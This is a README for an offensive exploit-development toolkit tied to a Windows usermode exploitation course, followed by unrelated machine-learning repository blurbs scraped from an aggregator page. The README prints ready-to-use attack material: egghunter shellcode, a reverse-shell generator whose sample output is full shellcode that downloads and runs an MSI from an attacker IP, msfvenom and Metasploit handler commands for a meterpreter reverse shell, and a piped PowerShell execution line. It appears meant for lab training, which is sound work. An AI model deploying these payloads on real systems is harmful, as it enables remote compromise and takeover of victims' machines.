bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Overview

osed-scripts

bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Table of Contents

Standalone Scripts

egghunter.py

requires keystone-engine

usage: egghunter.py [-h] [-t TAG] [-b BAD_CHARS [BAD_CHARS ...]] [-s]

Creates an egghunter compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -t TAG, --tag TAG     tag for which the egghunter will search (default: c0d3)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -s, --seh             create an seh based egghunter instead of NtAccessCheckAndAuditAlarm

generate default egghunter

./egghunter.py 
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: c0d3c0d3
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate egghunter with w00tw00t tag

./egghunter.py --tag w00t
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: w00tw00t
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate SEH-based egghunter while checking for bad characters (does not alter the shellcode, that's to be done manually)

./egghunter.py -b 00 0a 25 26 3d --seh
[+] egghunter created!
[=]   len: 69 bytes
[=]   tag: c0d3c0d3
[=]   ver: SEH

egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"

find-gadgets.py

Finds and categorizes useful gadgets. Only prints to terminal the cleanest gadgets available (minimal amount of garbage between what's searched for and the final ret instruction). All gadgets are written to a text file for further searching.

requires rich and ropper

usage: find-gadgets.py [-h] -f FILES [FILES ...] [-b BAD_CHARS [BAD_CHARS ...]] [-o OUTPUT]

Searches for clean, categorized gadgets from a given list of files

optional arguments:
  -h, --help            show this help message and exit
  -f FILES [FILES ...], --files FILES [FILES ...]
                        space separated list of files from which to pull gadgets (optionally, add base address (libspp.dll:0x10000000))
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to omit from gadgets (default: 00)
  -o OUTPUT, --output OUTPUT
                        name of output file where all (uncategorized) gadgets are written (default: found-gadgets.txt)

find gadgets in multiple files (one is loaded at a different offset than what the dll prefers) and omit 0x00 and 0xde from all gadgets

gadgets

shellcoder.py

requires keystone-engine

Creates reverse shell with optional msi loader

usage: shellcode.py [-h] [-l LHOST] [-p LPORT] [-b BAD_CHARS [BAD_CHARS ...]] [-m] [-d] [-t] [-s]

Creates shellcodes compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST
                        listening attacker system (default: 127.0.0.1)
  -p LPORT, --lport LPORT
                        listening port of the attacker system (default: 4444)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -m, --msi             use an msf msi exploit stager (short)
  -d, --debug-break     add a software breakpoint as the first shellcode instruction
  -t, --test-shellcode  test the shellcode on the system
  -s, --store-shellcode
                        store the shellcode in binary format in the file shellcode.bin
❯ python3 shellcode.py --msi -l 192.168.49.88 -s
[+] shellcode created! 
[=]   len:   251 bytes                                                                                            
[=]   lhost: 192.168.49.88
[=]   lport: 4444                                                                                                                                                                                                                    
[=]   break: breakpoint disabled                                                                                                                                                                                                     
[=]   ver:   MSI stager
[=]   Shellcode stored in: shellcode.bin
[=]   help:
         Create msi payload:
                 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.88 LPORT=443 -f msi -o X
         Start http server (hosting the msi file):
                 sudo python -m SimpleHTTPServer 4444 
         Start the metasploit listener:
                 sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.49.88; set LPORT 443; exploit"
         Remove bad chars with msfvenom (use --store-shellcode flag): 
                 cat shellcode.bin | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f python -v shellcode

shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x54\xff\x55\x14\x89\xc3\x68\xa7\xad\x2f\x69\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x71\x6e\x50\x68\x2f\x58\x20\x2f\x68\x34\x34\x34\x34\x68\x2e\x36\x34\x3a\x68\x38\x2e\x34\x39\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x54\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10"           
****

install-mona.sh

downloads all components necessary to install mona and prompts you to use an admin shell on the windows box to finish installation.

❯ ./install-mona.sh 192.168.XX.YY
[+] once the RDP window opens, execute the following command in an Administrator terminal:

powershell -c "cat \\tsclient\mona-share\install-mona.ps1 | powershell -"

[=] downloading https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip
[=] downloading https://github.com/corelan/windbglib/raw/master/windbglib.py
[=] downloading https://github.com/corelan/mona/raw/master/mona.py
[=] downloading https://www.python.org/ftp/python/2.7.17/python-2.7.17.msi
[=] downloading https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x86.exe
[=] downloading https://raw.githubusercontent.com/epi052/osed-scripts/main/install-mona.ps1
Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request

WinDbg Scripts

all windbg scripts require pykd

run .load pykd then !py c:\path\to\this\repo\script.py

find-ppr.py

Search for pop r32; pop r32; ret instructions by module name

!py find-ppr.py libspp diskpls

[+] diskpls::0x004313ad: pop ecx; pop ecx; ret
[+] diskpls::0x004313e3: pop ecx; pop ecx; ret
[+] diskpls::0x00417af6: pop ebx; pop ecx; ret
...
[+] libspp::0x1008a538: pop ebx; pop ecx; ret
[+] libspp::0x1008ae39: pop ebx; pop ecx; ret
[+] libspp::0x1008aebf: pop ebx; pop ecx; ret
...
A PyTorch implementation of "From Two to One: A New Scene Text Recognizer with Visual Language Modeling Network" (ICCV2021)

From Two to One: A New Scene Text Recognizer with Visual Language Modeling Network The official code of VisionLAN (ICCV2021). VisionLAN successfully a

81 Dec 12, 2022
A unified framework for machine learning with time series

Welcome to sktime A unified framework for machine learning with time series We provide specialized time series algorithms and scikit-learn compatible

The Alan Turing Institute 6k Jan 08, 2023
Doing fast searching of nearest neighbors in high dimensional spaces is an increasingly important problem

Benchmarking nearest neighbors Doing fast searching of nearest neighbors in high dimensional spaces is an increasingly important problem, but so far t

Erik Bernhardsson 3.2k Jan 03, 2023
Traffic4D: Single View Reconstruction of Repetitious Activity Using Longitudinal Self-Supervision

Traffic4D: Single View Reconstruction of Repetitious Activity Using Longitudinal Self-Supervision Project | PDF | Poster Fangyu Li, N. Dinesh Reddy, X

25 Dec 21, 2022
A simple python program that can be used to implement user authentication tokens into your program...

token-generator A simple python module that can be used by developers to implement user authentication tokens into your program... code examples creat

octo 6 Apr 18, 2022
Deploy pytorch classification model using Flask and Streamlit

Deploy pytorch classification model using Flask and Streamlit

Ben Seo 1 Nov 17, 2021
Semi-supervised Stance Detection of Tweets Via Distant Network Supervision

SANDS This is an annonymous repository containing code and data necessary to reproduce the results published in "Semi-supervised Stance Detection of T

2 Sep 22, 2022
Official repository of "BasicVSR++: Improving Video Super-Resolution with Enhanced Propagation and Alignment"

BasicVSR_PlusPlus (CVPR 2022) [Paper] [Project Page] [Code] This is the official repository for BasicVSR++. Please feel free to raise issue related to

Kelvin C.K. Chan 227 Jan 01, 2023
《DeepViT: Towards Deeper Vision Transformer》(2021)

DeepViT This repo is the official implementation of "DeepViT: Towards Deeper Vision Transformer". The repo is based on the timm library (https://githu

109 Dec 02, 2022
Relative Uncertainty Learning for Facial Expression Recognition

Relative Uncertainty Learning for Facial Expression Recognition The official implementation of the following paper at NeurIPS2021: Title: Relative Unc

35 Dec 28, 2022
The code for paper "Learning Implicit Fields for Generative Shape Modeling".

implicit-decoder The tensorflow code for paper "Learning Implicit Fields for Generative Shape Modeling", Zhiqin Chen, Hao (Richard) Zhang. Project pag

Zhiqin Chen 353 Dec 30, 2022
Code of the paper "Performance-Efficiency Trade-offs in Unsupervised Pre-training for Speech Recognition"

SEW (Squeezed and Efficient Wav2vec) The repo contains the code of the paper "Performance-Efficiency Trade-offs in Unsupervised Pre-training for Speec

ASAPP Research 67 Dec 01, 2022
This is the code for the paper "Contrastive Clustering" (AAAI 2021)

Contrastive Clustering (CC) This is the code for the paper "Contrastive Clustering" (AAAI 2021) Dependency python=3.7 pytorch=1.6.0 torchvision=0.8

Yunfan Li 210 Dec 30, 2022
Train/evaluate a Keras model, get metrics streamed to a dashboard in your browser.

Hera Train/evaluate a Keras model, get metrics streamed to a dashboard in your browser. Setting up Step 1. Plant the spy Install the package pip

Keplr 495 Dec 10, 2022
Perform zero-order Hankel Transform for an 1D array (float or real valued).

perform zero-order Hankel Transform for an 1D array (float or real valued). An discrete form of Parseval theorem is guaranteed. Suit for iterative problems.

1 Jan 17, 2022
Unofficial implementation of One-Shot Free-View Neural Talking Head Synthesis

face-vid2vid Usage Dataset Preparation cd datasets wget https://yt-dl.org/downloads/latest/youtube-dl -O youtube-dl chmod a+rx youtube-dl python load_

worstcoder 68 Dec 30, 2022
This is a simple backtesting framework to help you test your crypto currency trading. It includes a way to download and store historical crypto data and to execute a trading strategy.

You can use this simple crypto backtesting script to ensure your trading strategy is successful Minimal setup required and works well with static TP a

Andrei 154 Sep 12, 2022
Marvis is Mastouri's Jarvis version of the AI-powered Python personal assistant.

Marvis v1.0 Marvis is Mastouri's Jarvis version of the AI-powered Python personal assistant. About M.A.R.V.I.S. J.A.R.V.I.S. is a fictional character

Reda Mastouri 1 Dec 29, 2021
Context-Aware Image Matting for Simultaneous Foreground and Alpha Estimation

Context-Aware Image Matting for Simultaneous Foreground and Alpha Estimation This is the inference codes of Context-Aware Image Matting for Simultaneo

Qiqi Hou 125 Oct 22, 2022
A JAX implementation of Broaden Your Views for Self-Supervised Video Learning, or BraVe for short.

BraVe This is a JAX implementation of Broaden Your Views for Self-Supervised Video Learning, or BraVe for short. The model provided in this package wa

DeepMind 44 Nov 20, 2022